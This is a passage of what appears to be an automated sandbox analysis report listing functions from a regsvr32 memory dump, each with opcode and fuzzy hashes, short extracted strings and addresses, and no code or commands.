Opcode ID: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction ID: b2e8e3d622355c2c7a8d87ad16832996e77f732c72c2020fcd3ed114b96953d1
Opcode Fuzzy Hash: e35954fd64214c4dc75024e05a92e9afc61a62ba820b5d5e41e037a5dcd882da
Instruction Fuzzy Hash: BC218C70528385ABC798CF24C1CA94BBBE1FBD4758F906A0DF8828B264D774D909CB43

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001667C Relevance: 1.5, Strings: 1, Instructions: 274COMMON

Download Yara Rule

Strings

t2i., xrefs: 000000018001687D

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: t2i.
API String ID: 0-2317288456
Opcode ID: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction ID: 45fd1b4f7d9ae1bb3a1595fd0447dfa3858b4c22850e921c91e36994c5fa5290
Opcode Fuzzy Hash: ddf1efb97a931d6c5f3ee8c67c3fa2b44aa9af6db9e4e5e1b98fbf81237c32be
Instruction Fuzzy Hash: F4C17C709197489BD7D6DF18C48579EBBE0FB88344F906A1EF486C72A0CB34DA49CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001AEC8 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

!, xrefs: 000000018001B19C

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !
API String ID: 0-133318149
Opcode ID: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction ID: 4d490125f0736c0523a0bc8c54046deb818a488a36854fcf26dc18eb231edbc7
Opcode Fuzzy Hash: 9a28524a62feba04ad602aea3c6b43a9e37f0bb3cb72c69032c5b680e6eaa856
Instruction Fuzzy Hash: 94C1277090474D8BDF48DF68C88A6EE7BF1FB48358F15821DE84AA7250C7789949CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180001980 Relevance: 1.5, Strings: 1, Instructions: 235COMMON

Download Yara Rule

Strings

GP, xrefs: 00000001800019A8

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GP
API String ID: 0-809347306
Opcode ID: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction ID: b8cc07b6ee5f07dffcf88ae53723e0b0b514af2364763fc1c4f878c703b2f424
Opcode Fuzzy Hash: c18687982be6c1a2fdabfac97a268a3404b4fe9754ccd0dba6adaab26aa3d97e
Instruction Fuzzy Hash: 35C18BB190060DCFCF68CF78D55A59D7BF1BB48308F606229F826AA2A2D3B49915CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014484 Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

G, xrefs: 00000001800145F6

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: G
API String ID: 0-4067352199
Opcode ID: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction ID: 225e36911d9d240547ab15c987b60d96220a9315f181ed6db9e7231e26a901aa
Opcode Fuzzy Hash: 571051391216adea76df2afa30ecc8bad161d89b390d9c97388838629c1a5ca4
Instruction Fuzzy Hash: 54A11871A0460CCFDF59DFA8C44A6DDB7F2FB48344F104529E816BB261CB749909CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018190 Relevance: 1.5, Strings: 1, Instructions: 220COMMON

Download Yara Rule

Strings

:d, xrefs: 0000000180018267

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: :d
API String ID: 0-1981401805
Opcode ID: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction ID: 210e0c3814bb066ec4f0600647a6f8918949d15d236ac433349e910c02a539df
Opcode Fuzzy Hash: 7e01d6742b691afee721fc3f193522d49c245a6ce31efde50cdf5c406c664d98
Instruction Fuzzy Hash: 55B1067150560DDFCB88DF28C089ADE7BE0FF58308F825229F80AA7255D774DA98DB49

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800207BC Relevance: 1.4, Strings: 1, Instructions: 191COMMON

Download Yara Rule

Strings

'NL, xrefs: 00000001800208CD

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 'NL
API String ID: 0-130891299
Opcode ID: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction ID: bb2c5b98f4e45d76fdff147334347c6d164a6d6c8cf2b5048c0250209dce3a22
Opcode Fuzzy Hash: 8a3ed407222c8cc95b4195594c73c0a0709bd4276b41a18d313f15a757072ddc
Instruction Fuzzy Hash: 08816770900748CFDB99CF68C4896DE7BF0FB48394F609129F94697261C774D989CB81

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001705C Relevance: 1.4, Strings: 1, Instructions: 177COMMON

Download Yara Rule

Strings

ETz, xrefs: 0000000180017234

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ETz
API String ID: 0-3877082699
Opcode ID: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction ID: db1a2cf02a49f3c5a1febdf95057c2803ba9c7043f43a3a74a84a847f8708688
Opcode Fuzzy Hash: a70674ad09814c9e1798ed159b67f00a2b9c82905ce41e3639f5d760caf2f047
Instruction Fuzzy Hash: 6281BC34A0674CCBDB65CFA8C0897CDBBF1FF68348F104119E915AA2A6CB70D559CB89

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800261E0 Relevance: 1.4, Strings: 1, Instructions: 164COMMON

Download Yara Rule

Strings

#;*z, xrefs: 00000001800264EE

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #;*z
API String ID: 0-1682342327
Opcode ID: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction ID: dbf9c55ae058a2f54c24d1eac6a5ff2fe61b468a3017e99be0a6ffbf3af3057b
Opcode Fuzzy Hash: b680f4a085bd44a123493e5971e743dba8c621f53e8aa86b84bd23ce7ca92522
Instruction Fuzzy Hash: EF91E0715042888FCBB9DF24D88A7DA7BA1FB45348F50C229D88ECE261DFB0564DDB01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024570 Relevance: 1.4, Strings: 1, Instructions: 160COMMON

Download Yara Rule

Strings

dQ, xrefs: 00000001800246B3

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: dQ
API String ID: 0-4190919517
Opcode ID: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction ID: 9d729ecabb7b74207a0fd84f221a36cedb2a9a3a0e5d95724699f54aa2ea8075
Opcode Fuzzy Hash: 97a4412cc2303f28c05fec1f0b2e1d428cb8767c43294622f9f6b74118afce77
Instruction Fuzzy Hash: 3E71E7711187988BDBFDCF28CC857D97BA6FB44744F20811CE84E8E261DB749A89CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D7AC Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

)0, xrefs: 000000018000D866

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )0
API String ID: 0-1029681778
Opcode ID: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction ID: 121df312e681884aeaf9abe1505228ce9ff72d97cb51e4d07d955d8bff2ee376
Opcode Fuzzy Hash: 40e7eb8740bf53d50ac0b689975ccfd72f61ab29a6f5010a355cdccaad617979
Instruction Fuzzy Hash: 6851673861660CCBDB69DF78D4852E93BE0FF69344F20402DFC6687266DB34D52A8B58

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180012168 Relevance: 1.4, Strings: 1, Instructions: 148COMMON

Download Yara Rule

Strings

Uerm, xrefs: 0000000180012269

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Uerm
API String ID: 0-3179360214
Opcode ID: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction ID: 041d59295089493447bb19a8378e04636211af5195b78f50b28b80e802418f55
Opcode Fuzzy Hash: 9ac54ab8c90a486f4441a78f79c66deafdf79af98abc137c17ed1b11debabc8b
Instruction Fuzzy Hash: AD6103B190061A8FCF48DFA8C48A5EEBBB1FB58344F10822DE815AB365C7749A55CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015774 Relevance: 1.4, Strings: 1, Instructions: 143COMMON

Download Yara Rule

Strings

n?,#, xrefs: 0000000180015826

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n?,#
API String ID: 0-1323099997
Opcode ID: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction ID: 565b854ac311e8ede55e0f860d8d3b50ebc6ea35409b62ec986654d35b43713b
Opcode Fuzzy Hash: 26b976f19a01f89e53d4e797cc3bc9c5337180b5ac8f28c70c7e0350769e597c
Instruction Fuzzy Hash: 4461F97054878DCBEBBADE38C8897D937B0FB48344F908529E94E8E290DB749A458B45

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800059AC Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

NRx, xrefs: 0000000180005B20

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: NRx
API String ID: 0-1393999616
Opcode ID: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction ID: 7c3eed2061eb3ea8b6bf0d1c70d9a16e0a2e2a77544f255897bb26607a47427d
Opcode Fuzzy Hash: b4a4ba5d31bb0dbda5b37bf156645da5abce175ef766aa9e7dc128ab78272a52
Instruction Fuzzy Hash: 46416C706197489BD3E5DF28C08679FBAE0FB88745F90A92DF585C32A1CB74C9488B43

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180024104 Relevance: 1.3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

Strings

{dN, xrefs: 00000001800241F3

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: {dN
API String ID: 0-923835543
Opcode ID: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction ID: f9e1d774cd1a5aafce577d99eb21246fb33c51757267e19de4f8e3655d4c3e4d
Opcode Fuzzy Hash: 9e75a9b6c969771d2fbed292b07595da2e1a6dc424cdc2e689696f47c6000392
Instruction Fuzzy Hash: A24118B091470D8BCF48DFA8C58A1DEBFB1FB483A8F25521DE90AB6250C7749585CF88

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029134 Relevance: 1.3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

Strings

hT, xrefs: 0000000180029140

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: hT
API String ID: 0-434349927
Opcode ID: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction ID: 79a86a43dda6c0bf54cad5f70c675ce2074b99fb8c760d3b3e2f6daa19ea02a9
Opcode Fuzzy Hash: 6dc475388242e87dfd02804309664708b9ba0169bf98e34e56dbb37a95c1b731
Instruction Fuzzy Hash: 2A5190B190038E8BCB48DF68C88A5DE7BB0FB58308F104A19FC65A6250D7B4D669CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135A6 Relevance: 1.3, Strings: 1, Instructions: 95COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction ID: ff83c9861e3aef96e788ade2e95c5d31a765335f039db5447ff320373d52f62b
Opcode Fuzzy Hash: 775cc355a8dd2b6f1bc8d8548c4489e17c5a54c9aeae587b6d573d3d7a9b0f7e
Instruction Fuzzy Hash: 524127B190434A8BCF48DF64C88A4DE7FB1FB58348F10861DEC5AA7250D7749659CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800079EC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

\>, xrefs: 0000000180007A45

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: \>
API String ID: 0-4115654482
Opcode ID: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction ID: c8bfe62f06df19f0db5cc8e5fd5c20be0a97c60a2c34a345c5b0509f61aa275d
Opcode Fuzzy Hash: ec85be460c7c8dfb7cf3a46c57a1e14dcdd929cba8cf803056f6d038e5aaf727
Instruction Fuzzy Hash: 5041B0B490038E8FDB48DF65D8895DE7BB0FB48358F104A1AEC25A6250D7B4D664CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F6DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

UfMm, xrefs: 000000018001F81D

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: UfMm
API String ID: 0-3877223347
Opcode ID: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction ID: c77ef5b6f515275834e01b5fcfcfc22ffe1a93dbca634ff8363d49e0f941db2a
Opcode Fuzzy Hash: dec106b4a764423c6080cde6e3c380fc2c4206b9dd3c84e9483206ca750e3b76
Instruction Fuzzy Hash: A1519EB190474E8BCF49CF64C48A5DE7FB0FB68398F214219E85A96250D3B8D6A4CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800173DC Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

^I%, xrefs: 0000000180017487

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ^I%
API String ID: 0-4091345571
Opcode ID: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction ID: 24279a7f0b8a810ed47d94a020ccddcda864278dcc3d62ea9a1aafd37f1cc870
Opcode Fuzzy Hash: 3f12ff418f07ff0dffb22bdd7eb3939b0fd24fdb2c19c7287af7d17ae91e7243
Instruction Fuzzy Hash: D641C2B090074E8BCB48DF68C58A4DE7FF0FB68398F204219EC16A6250D3B496A4CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008370 Relevance: 1.3, Strings: 1, Instructions: 92COMMON

Download Yara Rule

Strings

E, xrefs: 0000000180008443

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: E
API String ID: 0-4189953480
Opcode ID: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction ID: 97bb68eb89739962e45bd832e2874dcd633b22f5609a7b84b761109d701c7c23
Opcode Fuzzy Hash: 6b2582ab6db5c886dc2d719d00820c997d2b994a7b2935478f04cfa12a5363ce
Instruction Fuzzy Hash: B341D5B491038E8FCF88DF69D8495DE7BB0FB18358F104A19EC2AA6250D3B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002582C Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

JLq, xrefs: 0000000180025857

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: JLq
API String ID: 0-4186083495
Opcode ID: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction ID: 27128c2ca0a5d288d3179379bf0eddb2aee49c7a11679c2610c242e98f2fdc84
Opcode Fuzzy Hash: 8d9a50e123908ca919991315c6f3e14c53aa3b8bc44063858183d3498e4e8681
Instruction Fuzzy Hash: 3C41D5B090064E8FDF48CF68C4865EE7BF1FB58358F114229E846AA254C7789A95CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800150F0 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

vYa-, xrefs: 0000000180015210

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: vYa-
API String ID: 0-893662192
Opcode ID: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction ID: ed719b7027dd4d7706803f37edca27847d3dc95415a6febebb675a1e15796353
Opcode Fuzzy Hash: 035fd408088c0482a5a9e27521314a342b14366a032dbf1fe9b8c33d69753ec7
Instruction Fuzzy Hash: 0741C0B090034E8FCF48CF64D88A5DE7FB0FB68398F104619E856A6250D7B896A5CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015BB8 Relevance: 1.3, Strings: 1, Instructions: 90COMMON

Download Yara Rule

Strings

< dA, xrefs: 0000000180015C3D

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: < dA
API String ID: 0-2747138368
Opcode ID: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction ID: 677e9d37894352eedc94dfbe70e1d5a5f16f85bbcaa69aa355918790c22682b0
Opcode Fuzzy Hash: 207b38533736b510735db2aca9d27c508cf70737fe24697ea278d93009114e66
Instruction Fuzzy Hash: 2741A0B180074E8FCB49CF64D48A4DE7FB0FB68388F204619E856A6254D7B496A8CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800135B4 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction ID: 9835b62cc5c81bb08ffa4c0ed138b56601e81b85f9b16a4ced47218125f66503
Opcode Fuzzy Hash: 8dc8ab0dff87e9b75af9bc87b01f2b240cfc8c73fd94611f7c31912defe47775
Instruction Fuzzy Hash: FC41E4B090434A8BCF48DF64C88A4DE7FB1FB58348F11861DEC5AA6250D7B496A9CFC5

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F878 Relevance: 1.3, Strings: 1, Instructions: 87COMMON

Download Yara Rule

Strings

}]T*, xrefs: 000000018001F95B

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: }]T*
API String ID: 0-3642313528
Opcode ID: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction ID: a9b4d124700f7192ec0ffbe58db6f2cedd89af67995077d1789eaf9c0a4fefb8
Opcode Fuzzy Hash: 7849323620c58637c1544052bb138ebef222585afcb74db7dd86457f284b6379
Instruction Fuzzy Hash: 624191B191074E9FCF48DF64D48A4DE7FB0FB68388F214619E816A6210D3B496A4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013568 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

w., xrefs: 0000000180013634

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: w.
API String ID: 0-4252102657
Opcode ID: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction ID: 13a44cd4838b071505596f301d9460f32b91f3f909068c68e30d7ec81fe075ae
Opcode Fuzzy Hash: da61243a15702063775777e79984a8309a15a56a41d8ca6f71a856d03373fb1d
Instruction Fuzzy Hash: 194104B090434A8BCF48CF64C88A4DE7FB1FB58348F10861DEC5AA6250D7B496A8CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E5D4 Relevance: 1.3, Strings: 1, Instructions: 81COMMON

Download Yara Rule

Strings

N8$, xrefs: 000000018000E64E

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: N8$
API String ID: 0-2933465586
Opcode ID: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction ID: 297b3d980fd839d27da657b87e2df8633a1b9c783a0b67fb1012bddc2283f9fe
Opcode Fuzzy Hash: 0eb94b4c30cdf64432c8dd49aa40656dc32a215d341cf791ffb885c3adf2427e
Instruction Fuzzy Hash: 0241827180078E8FCB45CF64D88A4CE7FB0FB18358F105A19F865A7260D3B49664CF95

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B564 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

wk, xrefs: 000000018002B5A3

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: wk
API String ID: 0-1447520534
Opcode ID: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction ID: ed1e7f9bc21f483ed76e74f249cc539d96e15df8e9c5d2752f3a18cd8a4680c8
Opcode Fuzzy Hash: 0a0edc96079985f20ed57ef59bebf533c7b67d56244039d22a088e51808c84b4
Instruction Fuzzy Hash: A041C4B180074E8BCB48DF68D48A4CE7FF0FB68398F10461DE859A6250D7B49AA4CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025180 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

D7 , xrefs: 000000018002519E

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D7
API String ID: 0-599489778
Opcode ID: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction ID: 9ff7da26f915c3fd9b9081bc776a27ba1207aebd425a4d5bef8b93ab939ca450
Opcode Fuzzy Hash: 0decf5b59288eb500aae667ac6c9b4e4dce6b838f673c5fc17c927a6ca0452b7
Instruction Fuzzy Hash: 4541B0B090074E8BCF48DF68D4965DE7FB0FB68388F20421DE816A6250D7B496A5CFD5

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800048B0 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

-, xrefs: 00000001800048BC

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -
API String ID: 0-2547686586
Opcode ID: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction ID: fb4667ec304b728e9739446c3b2210f9efd75ae712771165d94948b9d3b69a1a
Opcode Fuzzy Hash: 39f87b108b025f322a4fb09bf0250602f0777b0869fb0748bb25e5d88246fb72
Instruction Fuzzy Hash: E641D2B181038ECFCB48CFA4D88A5CE7BB1FB48358F115A09FC65A6224D3B49665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015A64 Relevance: 1.3, Strings: 1, Instructions: 78COMMON

Download Yara Rule

Strings

Q, xrefs: 0000000180015A70

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Q
API String ID: 0-2885194100
Opcode ID: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction ID: a9705b719f6d6278401c973a571993bf085652b79919a3d293b183e1acac7421
Opcode Fuzzy Hash: bdb98b8b2c0f07edeaa2617f1c602c347d51b8d3ebd884f46db44bb476cabbd3
Instruction Fuzzy Hash: 9141F5B180434E8FCF48CFA4C84A4DE7FB1FB18318F004619EC5AA6250D7B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016054 Relevance: 1.3, Strings: 1, Instructions: 76COMMON

Download Yara Rule

Strings

UA;k, xrefs: 0000000180016115

Memory Dump Source

Source File: 00000003.00000002.938265280.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

